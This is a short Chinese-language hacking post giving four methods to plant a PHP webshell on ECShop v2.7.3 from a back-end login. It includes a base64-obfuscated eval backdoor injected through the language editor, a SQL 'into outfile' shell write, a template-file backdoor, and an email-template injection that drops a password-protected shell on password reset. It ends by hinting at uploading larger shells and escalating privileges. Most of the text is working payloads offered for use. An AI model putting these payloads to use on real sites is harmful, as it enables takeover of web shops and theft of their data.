ecshop v2.7.3之webshell篇(4种方法)
0X01
拿webshell。登陆后发现只有一个语言编辑权利,但这正是我们为了拿webshell分配的,已经足够了。
由于将变量直接写入user.php文件并且没有对变量过滤,导致可以插入代码并执行。
查找用户信息
在用户信息后面添加生成一句话木马的代码
${${fputs(fopen(base64_decode(dGVzdC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbdGVzdF0pPz4))}}
此时我们查看user.php的代码发现刚才的代码已经成功写入user.php文件中
然后攻击者访问http://192.168.238.132/upload/user.php后代码将会执行,在网站根目录下生成一句话木马test.php。
使用菜刀连接我们的一句话木马,可以发现已经成功连接上
0X02
爆路径,得到物理路径
http://127.0.0.1/ecshop/languages/en_us/common.php
后台sql语句执行处,into outfile写文件,配合上步得到的物理路径拿shell
在sql语句处输入:
select "<?php @eval($_POST['c']);?>" into outfile '物理路径//test.php';
0X03
进入后台>模板管理>库项目管理 , 然后选择 myship.lbi,直接在最后面写入PHP一句话,地址xxx.com/myship.php菜刀连接,上传大马….接下来…好了不说了 ,提权..你懂得
0X04
后台-邮件模版-编辑,把内容修改成
{$user_name’];file_put_contents(base64_decode(‘Li4vdGVtcC9zaGVsbC5waHA=’),base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUWycyMDcnXSk7Pz4=’));echo $var[‘$user_name} </p> <p>{$user_name}您好!<br /> <br /> 您已经进行了密码重置的操作,请点击以下链接(或者复制到您的浏览器):<br /> <br /> <a target=”_blank” href=”{$reset_email}”>{$reset_email}</a><br /> <br /> 以确认您的新密码重置操作!<br /> <br /> {$shop_name}<br /> {$send_date}</p>
点击确定,在后台登陆地方点忘记密码,输入用户和邮箱 (这个在后台随便找个用户就OK)提交就会在temp下生成shell.php一句话木马,密码是207
Li4vdGVtcC9zaGVsbC5waHA= 用base64解密就是 ../temp/shell.php